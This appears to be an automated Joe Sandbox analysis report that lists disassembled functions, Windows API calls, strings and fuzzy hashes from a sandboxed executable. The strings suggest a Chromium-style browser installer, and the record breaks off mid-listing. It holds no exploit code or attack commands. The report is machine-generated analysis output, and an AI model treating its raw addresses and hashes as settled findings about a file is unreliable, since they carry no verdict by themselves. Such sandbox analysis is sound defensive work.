Snapshot File: hcaresult_1_2_5940000_0x001900000002ab40-59.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: .dll
API String ID: 1029625771-2738580789
Opcode ID: f6f06f52cd4a024ca790678b75224790e8b38e6a55f670a1ffdfea5ea75d1fe1
Instruction ID: e8cff01822b293b0c311000bb28da3ca0398498c3f4689db635710ceaf47a4da
Opcode Fuzzy Hash: f6f06f52cd4a024ca790678b75224790e8b38e6a55f670a1ffdfea5ea75d1fe1
Instruction Fuzzy Hash: E221033B6042859FEB22CFB9C844B7A7BE9BF05260F1C506DD8068BA41D730E845D7E0

Function 008F8780 Relevance: 3.0, APIs: 2, Instructions: 26
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 008F8860: TryAcquireSRWLockExclusive.KERNEL32(00973F50,?,?,008F8789,?,?,008F632D,?,00000000,00000000,?,?,?), ref: 008F8869
Part of subcall function 008F8860: ReleaseSRWLockExclusive.KERNEL32(00973F50,?,008F8789,?,?,008F632D,?,00000000,00000000,?,?,?), ref: 008F88A8

GetCurrentProcess.KERNEL32(?,?,008F632D,?,00000000,00000000,?,?,?), ref: 008F8795
IsWow64Process.KERNEL32(00000000,00963608,?,008F632D,?,00000000,00000000,?,?,?), ref: 008F87A1

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: ExclusiveLockProcess$AcquireCurrentReleaseWow64
String ID:
API String ID: 2898688079-0
Opcode ID: f48b8ce734d54e639aa5da29c3ac7c3f7fa19f84a788e743279905de76b2e5cb
Instruction ID: 7c035fa9bce86e51af4e3fef935bf965d3334887a7988398e174a7e9be745e61
Opcode Fuzzy Hash: f48b8ce734d54e639aa5da29c3ac7c3f7fa19f84a788e743279905de76b2e5cb
Instruction Fuzzy Hash: B0E0D832A15228BBC710ABB9ED47B253698F701BA5F148124EA04D33B8DFA1DC0067D4

Function 008F8860 Relevance: 3.0, APIs: 2, Instructions: 23
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

TryAcquireSRWLockExclusive.KERNEL32(00973F50,?,?,008F8789,?,?,008F632D,?,00000000,00000000,?,?,?), ref: 008F8869
ReleaseSRWLockExclusive.KERNEL32(00973F50,?,008F8789,?,?,008F632D,?,00000000,00000000,?,?,?), ref: 008F88A8

Part of subcall function 008E6680: TryAcquireSRWLockExclusive.KERNEL32(00972AD0,00000000,00000000,00000000,00000000), ref: 008E669A

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: ExclusiveLock$Acquire$Release
String ID:
API String ID: 1678258262-0
Opcode ID: b6289a1fa33a2bd51c91f236cc0ce09f573bad57983c9708fc7dd9f874905e1a
Instruction ID: ee6cec03e886776a8243658c3085239624fc6e8fc6f0637d6fbc6279f58d3505
Opcode Fuzzy Hash: b6289a1fa33a2bd51c91f236cc0ce09f573bad57983c9708fc7dd9f874905e1a
Instruction Fuzzy Hash: 98E04F12F543989AFF203BB979097756BA4E7917D9F00C064E70DC7AD2DD450944B3A3

Function 0091E06B Relevance: 2.6, APIs: 2, Instructions: 67
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(00000001,?,009125CC,0086D9CE,00941354,..\..\third_party\libc++\src\include\string:1229: assertion __pos <= size() failed: string index out of bounds,00000002,?,?,?), ref: 0091E06F
SetLastError.KERNEL32(00000000,?,?,00000000,?,00000005,000000FF), ref: 0091E111

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: be3a5b22c1363abc240d99546964fdfa7959b021c47ef0640b0749d70952500b
Instruction ID: fb5a1611a77ef855dfb382f8f1fd5c7ffdf39b0cdd6c82e32dbabe8ff64b3a27
Opcode Fuzzy Hash: be3a5b22c1363abc240d99546964fdfa7959b021c47ef0640b0749d70952500b
Instruction Fuzzy Hash: 7611867131C31D7EE6206BB4ACC6EAB269DEB88369B140534FE19920E2EEA44C847161

Function 059A0357 Relevance: 1.6, APIs: 1, Instructions: 325memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00003000,00000004,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 059A03D1

Memory Dump Source

Source File: 00000001.00000002.1724191152.0000000005940000.00000040.00001000.00020000.00000000.sdmp, Offset: 05940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5940000_0x001900000002ab40-59.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 913584bddb567b179a3f9b4e0e6654d789e61ea3d5744fe4b2293047c08ef92d
Instruction ID: a2d5c9471bf6d96a7e0a49aaa4e29f1b2f4f8c76d50d1ce8d628e327f042b4b6
Opcode Fuzzy Hash: 913584bddb567b179a3f9b4e0e6654d789e61ea3d5744fe4b2293047c08ef92d
Instruction Fuzzy Hash: 50B1C273604B02ABDB21AE65CC88BBBB7E9FF89304F140619E99986140E731F150DBF1

Non-executed Functions

Function 0086AB50 Relevance: 82.2, APIs: 4, Strings: 42, Instructions: 1696COMMON

Download Yara Rule

Strings

kernel32.dll, xrefs: 0086AE94
..\..\third_party\libc++\src\include\__string\char_traits.h:322: assertion !std::__is_pointer_in_range(__s1, __s1 + __n, __s2) failed: char_traits::copy: source and destination ranges overlap, xrefs: 0086C4DA
Cras, xrefs: 0086ABAC
0, xrefs: 0086BD18
WinHttpWriteData, xrefs: 0086BC6E
0, xrefs: 0086BD0A
WinHttpReadData, xrefs: 0086C009
WinHttpSendRequest, xrefs: 0086BB9D
<, xrefs: 0086AFC2
0, xrefs: 0086C4E9
..\..\third_party\libc++\src\include\string_view:311: assertion __len <= static_cast<size_type>(numeric_limits<difference_type>::max()) failed: string_view::string_view(_CharT *, size_t): length does not fit in difference_type, xrefs: 0086BA8E
0, xrefs: 0086BCEE
%08x, xrefs: 0086BCC0
0, xrefs: 0086BCFC
x86, xrefs: 0086C158, 0086C166, 0086C1D0
http_transport_win.cc, xrefs: 0086B309, 0086B38E, 0086B489, 0086B52D, 0086B567, 0086B60B, 0086BB44, 0086BB85, 0086BC56, 0086BDE8, 0086BE2C, 0086BE8B, 0086BFF1, 0086C294
IsWow64Process, xrefs: 0086C2A6
WinHttpOpenRequest, xrefs: 0086B3A6
WinHttpAddRequestHeaders, xrefs: 0086B61D, 0086BB5C
..\..\third_party\libc++\src\include\__string\char_traits.h:245: assertion !std::__is_pointer_in_range(__s1, __s1 + __n, __s2) failed: char_traits::copy: source and destination ranges overlap, xrefs: 0086BA80
Transfer-Encoding: chunked, xrefs: 0086BAC9
0.8.0, xrefs: 0086AC3E, 0086AC4C, 0086ACB7
Content-Length, xrefs: 0086B84A
; WoW64, xrefs: 0086C236, 0086C2CE, 0086C2DC
WinHttpReceiveResponse, xrefs: 0086BE3E
WinHttpConnect, xrefs: 0086B321
0, xrefs: 0086C50A
0, xrefs: 0086C4FB
HTTP, xrefs: 0086AD48
/, xrefs: 0086ABD5
WinHttpSetTimeouts, xrefs: 0086B545
/%lu.%lu.%lu.%lu, xrefs: 0086C3DF
WinHttpQueryHeaders, xrefs: 0086BDFA
HTTP status , xrefs: 0086BE97
winhttp.dll, xrefs: 0086AE69
..\..\third_party\libc++\src\include\string_view:313: assertion __len == 0 || __s != nullptr failed: string_view::string_view(_CharT *, size_t): received nullptr, xrefs: 0086BA87
hpad, xrefs: 0086ABA2
oW64, xrefs: 0086C2E8
WinHTTP, xrefs: 0086AD2E, 0086AD3C, 0086ADAA
WinHttpOpen, xrefs: 0086B57F
WinHttpCrackUrl, xrefs: 0086B4A1
Windows_NT/%lu.%lu.%lu.%lu (, xrefs: 0086C056

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID:
String ID: WinHTTP$ Windows_NT/%lu.%lu.%lu.%lu ($%08x$..\..\third_party\libc++\src\include\__string\char_traits.h:245: assertion !std::__is_pointer_in_range(__s1, __s1 + __n, __s2) failed: char_traits::copy: source and destination ranges overlap$..\..\third_party\libc++\src\include\__string\char_traits.h:322: assertion !std::__is_pointer_in_range(__s1, __s1 + __n, __s2) failed: char_traits::copy: source and destination ranges overlap$..\..\third_party\libc++\src\include\string_view:311: assertion __len <= static_cast<size_type>(numeric_limits<difference_type>::max()) failed: string_view::string_view(_CharT *, size_t): length does not fit in difference_type$..\..\third_party\libc++\src\include\string_view:313: assertion __len == 0 || __s != nullptr failed: string_view::string_view(_CharT *, size_t): received nullptr$/$/%lu.%lu.%lu.%lu$0$0$0$0$0$0$0$0.8.0$; WoW64$<$Content-Length$Cras$HTTP$HTTP status $IsWow64Process$Transfer-Encoding: chunked$WinHttpAddRequestHeaders$WinHttpConnect$WinHttpCrackUrl$WinHttpOpen$WinHttpOpenRequest$WinHttpQueryHeaders$WinHttpReadData$WinHttpReceiveResponse$WinHttpSendRequest$WinHttpSetTimeouts$WinHttpWriteData$hpad$http_transport_win.cc$kernel32.dll$oW64$winhttp.dll$x86
API String ID: 0-1811334646
Opcode ID: f5724a93d48c58b195cced18e4b4e8a637a6ad6214c6ead0cce3242fa727523c
Instruction ID: 1556e7237624c1f4cd105afd648f08d59812ff5ae978ae579e1b66ca2096e298
Opcode Fuzzy Hash: f5724a93d48c58b195cced18e4b4e8a637a6ad6214c6ead0cce3242fa727523c
Instruction Fuzzy Hash: 01E2C271A006289ADF708B64CC55BEAB775FF51308F05C1E8E589E7282DB709ECA8F51

Function 0092ECB0 Relevance: 39.4, APIs: 10, Strings: 12, Instructions: 868libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 0089C6C0: OpenProcess.KERNEL32(00100451,00000000,?,008B8551,?,?), ref: 0089C6D4
Part of subcall function 0089C6C0: GetLastError.KERNEL32 ref: 0089C6E2
Part of subcall function 0089C6C0: SetLastError.KERNEL32(00000000), ref: 0089C6F7
Part of subcall function 0089C6C0: GetCurrentProcess.KERNEL32 ref: 0089C701

GetModuleHandleW.KERNEL32(ntdll.dll), ref: 0092ED0F
GetModuleHandleW.KERNEL32(ntdll.dll), ref: 0092EFFA
__Init_thread_header.LIBCMT ref: 0092F8E7
GetProcAddress.KERNEL32(?,NtWow64QueryInformationProcess64), ref: 0092F905

Strings

GDI Handle Table Failed , xrefs: 0092F751, 0092F8A8
ntdll.dll, xrefs: 0092ED0A, 0092EFF5
gdi_debug_util_win.cc, xrefs: 0092EDB6, 0092EED4, 0092F099, 0092F21E, 0092F32B, 0092F37A, 0092F553, 0092F640, 0092F731, 0092F885
NtWow64QueryInformationProcess64, xrefs: 0092EDC9, 0092EEE7, 0092F8FC
NtReadVirtualMemory, xrefs: 0092F33E, 0092F38D, 0092F898, 0092F9BC
NtQueryInformationProcess, xrefs: 0092F0AC, 0092F231, 0092F93C
..\..\third_party\libc++\src\include\__memory\construct_at.h:40: assertion __location != nullptr failed: null pointer given to construct_at, xrefs: 0092F7AB
NtWow64ReadVirtualMemory64, xrefs: 0092F566, 0092F650, 0092F741, 0092F97C
Missing, xrefs: 0092EEF7, 0092F241, 0092F39D, 0092F576
PEB Failed , xrefs: 0092F34E, 0092F660
..\..\third_party\libc++\src\include\__memory\construct_at.h:66: assertion __loc != nullptr failed: null pointer given to destroy_at, xrefs: 0092F1A1
Failed , xrefs: 0092EDD9, 0092F0BC

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: ErrorHandleLastModuleProcess$AddressCurrentInit_thread_headerOpenProc
String ID: Failed $ GDI Handle Table Failed $ Missing$ PEB Failed $..\..\third_party\libc++\src\include\__memory\construct_at.h:40: assertion __location != nullptr failed: null pointer given to construct_at$..\..\third_party\libc++\src\include\__memory\construct_at.h:66: assertion __loc != nullptr failed: null pointer given to destroy_at$NtQueryInformationProcess$NtReadVirtualMemory$NtWow64QueryInformationProcess64$NtWow64ReadVirtualMemory64$gdi_debug_util_win.cc$ntdll.dll
API String ID: 3776924181-20178590
Opcode ID: b026aa1d994d4ee7849fcdf91fd3d5085894aac93f78137347de4523e77f31c6
Instruction ID: 15339b54d8c8d1b63473d1517028febbd629fbe1e7f63176f134c9dfc6eefe64
Opcode Fuzzy Hash: b026aa1d994d4ee7849fcdf91fd3d5085894aac93f78137347de4523e77f31c6
Instruction Fuzzy Hash: E362D371604301ABD710DF28D8A6B2BB7E5FFC4704F04893DF9899B292E775D9058B92

Function 00844A90 Relevance: 35.7, APIs: 8, Strings: 12, Instructions: 713fileCOMMON

Download Yara Rule

APIs

Part of subcall function 008753C0: VirtualAlloc.KERNEL32(-D602D136,00061E67,-000000015DE352F6,?,?,?,?,43B659F5,?,?,-867C85AD,0094335A,..\..\third_party\libc++\src\include\string_view:311: assertion __len <= static_cast<size_type>(numeric_limits<difference_type>::max()) failed: string_view::string_view(_CharT *, size_t): length does not fit in difference_type), ref: 0087548D

DeleteFileW.KERNEL32(?,Executable path: ,009432B5,00000000,InstallBrowser,000004AF,?,?), ref: 00844C46
WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF,?,?,000004A0), ref: 00844D38
GetLastError.KERNEL32(?,?,000004A0), ref: 00844D43
GetLastError.KERNEL32 ref: 00844DFB
GetLastError.KERNEL32(?,00040221,?,?,?,?,000004A0), ref: 00844EC5
GetLastError.KERNEL32(?,?,00040221,?,?,?,?,000004A0), ref: 00844F3B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00845107
GetLastError.KERNEL32 ref: 008452B0

Strings

Verification succeeded: , xrefs: 00845021
Installation after download event isn't in signal state or installation was stopped early., xrefs: 00844D7E
Executable path: , xrefs: 00844C1A
Cannot lock file: , xrefs: 00844E36, 00844F07
..\..\third_party\libc++\src\include\string_view:313: assertion __len == 0 || __s != nullptr failed: string_view::string_view(_CharT *, size_t): received nullptr, xrefs: 00845519
Install Browser., xrefs: 00844AD5
Module verification failed: , xrefs: 00844F76
InstallBrowser, xrefs: 00844ABD, 00844BFB, 00844D66, 00844E1E, 00844EE8, 00844F5E, 00845009, 008452CF
Unexpected error in CreateDelayedParamsMapping(), xrefs: 008452E7
..\..\third_party\libc++\src\include\__string\char_traits.h:245: assertion !std::__is_pointer_in_range(__s1, __s1 + __n, __s2) failed: char_traits::copy: source and destination ranges overlap, xrefs: 00845527
..\..\third_party\libc++\src\include\string_view:311: assertion __len <= static_cast<size_type>(numeric_limits<difference_type>::max()) failed: string_view::string_view(_CharT *, size_t): length does not fit in difference_type, xrefs: 00845520
, xrefs: 00844B60

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: ErrorLast$AllocDeleteFileMultipleObjectsUnothrow_t@std@@@VirtualWait__ehfuncinfo$??2@
String ID: $..\..\third_party\libc++\src\include\__string\char_traits.h:245: assertion !std::__is_pointer_in_range(__s1, __s1 + __n, __s2) failed: char_traits::copy: source and destination ranges overlap$..\..\third_party\libc++\src\include\string_view:311: assertion __len <= static_cast<size_type>(numeric_limits<difference_type>::max()) failed: string_view::string_view(_CharT *, size_t): length does not fit in difference_type$..\..\third_party\libc++\src\include\string_view:313: assertion __len == 0 || __s != nullptr failed: string_view::string_view(_CharT *, size_t): received nullptr$Cannot lock file: $Executable path: $Install Browser.$InstallBrowser$Installation after download event isn't in signal state or installation was stopped early.$Module verification failed: $Unexpected error in CreateDelayedParamsMapping()$Verification succeeded:
API String ID: 2851896732-2479545896
Opcode ID: ae9d02663c8a920399089f496f8d652dd59e5941a054c6c5386c84f46f4327b9
Instruction ID: 9335e57b85ab0181248da23892cbcce53cbe5c41b94c508c0e7934ab9e19291b
Opcode Fuzzy Hash: ae9d02663c8a920399089f496f8d652dd59e5941a054c6c5386c84f46f4327b9
Instruction Fuzzy Hash: F2528D716087859BD714EF24C841BAEB7E1FFC5704F04892DF58997282EBB0A949CB93

Function 0083C170 Relevance: 30.7, APIs: 8, Strings: 12, Instructions: 691COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000021,?), ref: 0083C28E
GetLastError.KERNEL32(?,00000021,?), ref: 0083C2D7
GetLastError.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000021,?), ref: 0083C312
GetLastError.KERNEL32(?,00000021,?), ref: 0083C34D
GetLastError.KERNEL32(?), ref: 0083C3DB

Part of subcall function 0089D890: GetFileSizeEx.KERNEL32(00000000,?,?,00000000), ref: 0089D91E

GetLastError.KERNEL32(00941354,..\..\third_party\libc++\src\include\__memory\construct_at.h:66: assertion __loc != nullptr failed: null pointer given to destroy_at), ref: 0083C911

Strings

Invalid ASN1 format of certificate table in , xrefs: 0083C56D, 0083C87B
ExtractTagFromFakeCertificate, xrefs: 0083C2A8, 0083C3F5, 0083C554, 0083C862
ReadAllBytesFromFile, xrefs: 0083C2F2, 0083C32D, 0083C368
Failed to read file , xrefs: 0083C40E
Failed to read all bytes of , xrefs: 0083C346
..\..\third_party\libc++\src\include\vector:1393: assertion __n < size() failed: vector[] index out of bounds, xrefs: 0083C8FB
Can't open file , xrefs: 0083C381
Failed to find certificate table in , xrefs: 0083C2C1
..\..\third_party\libc++\src\include\__string\char_traits.h:245: assertion !std::__is_pointer_in_range(__s1, __s1 + __n, __s2) failed: char_traits::copy: source and destination ranges overlap, xrefs: 0083CB05
Failed to get length of , xrefs: 0083C30B
..\..\third_party\libc++\src\include\__memory\construct_at.h:66: assertion __loc != nullptr failed: null pointer given to destroy_at, xrefs: 0083C902
..\..\third_party\libc++\src\include\string:970: assertion __n == 0 || __s != nullptr failed: basic_string(const char*, n) detected nullptr, xrefs: 0083CAFB

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: ErrorLast$FileSize
String ID: ..\..\third_party\libc++\src\include\__memory\construct_at.h:66: assertion __loc != nullptr failed: null pointer given to destroy_at$..\..\third_party\libc++\src\include\__string\char_traits.h:245: assertion !std::__is_pointer_in_range(__s1, __s1 + __n, __s2) failed: char_traits::copy: source and destination ranges overlap$..\..\third_party\libc++\src\include\string:970: assertion __n == 0 || __s != nullptr failed: basic_string(const char*, n) detected nullptr$..\..\third_party\libc++\src\include\vector:1393: assertion __n < size() failed: vector[] index out of bounds$Can't open file $ExtractTagFromFakeCertificate$Failed to find certificate table in $Failed to get length of $Failed to read all bytes of $Failed to read file $Invalid ASN1 format of certificate table in $ReadAllBytesFromFile
API String ID: 3064237074-3678735519
Opcode ID: 118b7b246ecd9ec8b23b9145d764a0295ab01dfd36457fd6b44060f3ac060668
Instruction ID: 73199f6bc3709eb53366578b834b66cf68936760744a3a91efad1bd775e5d03a
Opcode Fuzzy Hash: 118b7b246ecd9ec8b23b9145d764a0295ab01dfd36457fd6b44060f3ac060668
Instruction Fuzzy Hash: 2F4294716083519FCB14DF24D891A6EB7A1FFD4748F44891CF986E7241EB70AA4ACBC2

Function 008E8E20 Relevance: 25.3, APIs: 13, Strings: 1, Instructions: 751COMMON

Download Yara Rule

APIs

TryAcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,008E8DE1,?,?,009423BD,?), ref: 008E8E9B
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,008E8DE1,?), ref: 008E9314
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,008E8DE1,?,?,009423BD,?), ref: 008E8ED0

Part of subcall function 008E6680: TryAcquireSRWLockExclusive.KERNEL32(00972AD0,00000000,00000000,00000000,00000000), ref: 008E669A

Strings

first, xrefs: 008E9234, 008E9595, 008E9779, 008E9827

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID: first
API String ID: 17069307-2456940119
Opcode ID: 32f2f7251f8b50e07f1b2351a2d848a143270270b57831fefce8a49ca93afb05
Instruction ID: f5aea6a0f6dca5918fdd8f4950ea2f82e91e6c7fcf02153ee83927553d17ce82
Opcode Fuzzy Hash: 32f2f7251f8b50e07f1b2351a2d848a143270270b57831fefce8a49ca93afb05
Instruction Fuzzy Hash: 6262CE716047419FD718CF2AC884B6AB7E1FF86318F19896CE98A8B391D771EC45CB81

Function 0086C530 Relevance: 23.2, APIs: 7, Strings: 6, Instructions: 431windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0086C552
GetModuleHandleW.KERNEL32(winhttp.dll), ref: 0086C579
FormatMessageA.KERNEL32(00001AFF,00000000,00000000,00000000,?,00000100,00000000), ref: 0086C58C
_strlen.LIBCMT ref: 0086C5CB
_strlen.LIBCMT ref: 0086C77A
GetLastError.KERNEL32 ref: 0086C8EF
_strlen.LIBCMT ref: 0086C91E

Strings

..\..\third_party\libc++\src\include\__string\char_traits.h:322: assertion !std::__is_pointer_in_range(__s1, __s1 + __n, __s2) failed: char_traits::copy: source and destination ranges overlap, xrefs: 0086CAC9
winhttp.dll, xrefs: 0086C574
(0x%lx), xrefs: 0086C5BA
: error 0x%lx while retrieving error 0x%lx, xrefs: 0086C8F7
..\..\third_party\libc++\src\include\__string\char_traits.h:245: assertion !std::__is_pointer_in_range(__s1, __s1 + __n, __s2) failed: char_traits::copy: source and destination ranges overlap, xrefs: 0086CA31
..\..\third_party\libc++\src\include\string:970: assertion __n == 0 || __s != nullptr failed: basic_string(const char*, n) detected nullptr, xrefs: 0086CAD0

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: _strlen$ErrorLast$FormatHandleMessageModule
